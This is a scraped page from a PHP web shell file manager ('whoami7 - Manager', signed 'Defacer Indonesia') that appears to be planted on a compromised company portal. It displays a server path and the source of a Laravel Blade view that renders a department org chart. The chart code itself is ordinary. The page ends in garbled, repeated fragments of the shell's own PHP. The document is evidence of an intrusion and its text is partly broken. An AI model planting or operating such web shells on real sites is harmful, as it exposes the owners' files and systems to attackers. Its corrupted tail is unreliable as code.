Asikk-&wkwkwkwkw

whoami7 - Manager

: /home/kckglobal/www/portal/resources/views/departments-hierarchy/

files >> /home/kckglobal/www/portal/resources/views/departments-hierarchy/chart_organization.blade.php

 <div class="mt-3 chartHeading-org d-flex justify-content-between rounded-top">
    <h3 class="mb-0 f-21 f-w-500">@lang('modules.department.treeView')</h3>
    <div class="heading-h3">
        <i class="fa fa-compress" id="resize"></i>
        <i class="fa fa-expand" id="full_view"></i>
    </div>
</div>
<div id="chartDiv" class="pt-3 rounded-bottom" style="height:100%"></div>

<script>

    chartTreeClass = $('#chartOrganization').attr('class');

    if(chartTreeClass == 'col-md-12') {
        $('#full_view').hide();
        $('#resize').show();
    }else {
        $('#resize').hide();
    }

    var chartValue = [];
    var departmentHierarchy = {!! $chartDepartments !!};
    var isRtl = "{{ isRtl('he-IL') }}";

      for (var i = 0; i < departmentHierarchy.length; i++) {
          if (departmentHierarchy[i].parent_id == null) {
              chartValue.push({
                  x: departmentHierarchy[i].team_name,
                  id: departmentHierarchy[i].id.toString(),
              });
            } else {
                chartValue.push({
                    x: departmentHierarchy[i].team_name,
                    id: departmentHierarchy[i].id.toString(),
                    parent: departmentHierarchy[i].parent_id.toString(),
                });
            }
        }

        var chart = JSC.chart('chartDiv', {
          debug: false,
          type: 'organizational',
          defaultCultureName: isRtl,

          /*These options will apply to all annotations including point nodes and breadcrumbs.*/
          defaultAnnotation: {
              padding: [10, 30],
              margin: 10,
              minHeight: 41,
              maxHeight: 'auto',
          },

          defaultSeries: {
              color: '#e0ffcc',
              mouseTracking: false,
              defaultPoint: {
                  label_maxWidth: 70,
                  /* Default line styling for connector lines */
                  connectorLine: {
                      /* No radius on first angle, then 5px on the second angle. */
                      radius: [0, 5],
                      color: '#000',
                      width: 1,
                      caps: {
                          end: {
                              type: 'arrow',
                              size: 6
                          }
                      }
                  }
                }
            },
            series: [{
                defaultPoint: {
                outline: { color: '#{{ $appTheme->header_color }}'},
                color: '#fff',
                },
                points: chartValue,
            }],

          toolbar: {
              defaultItem: {
                  margin: 5,
                  events_click: orientChart
              },

          }
      });

      function orientChart(direction) {
          chart.options({
              type: 'organizational ' + direction
          });
      }
</script>

Copyright ©2021 || Defacer Indonesia nfo .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } ?> ?> & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } ?> ?> )); return $info; } ?> ?>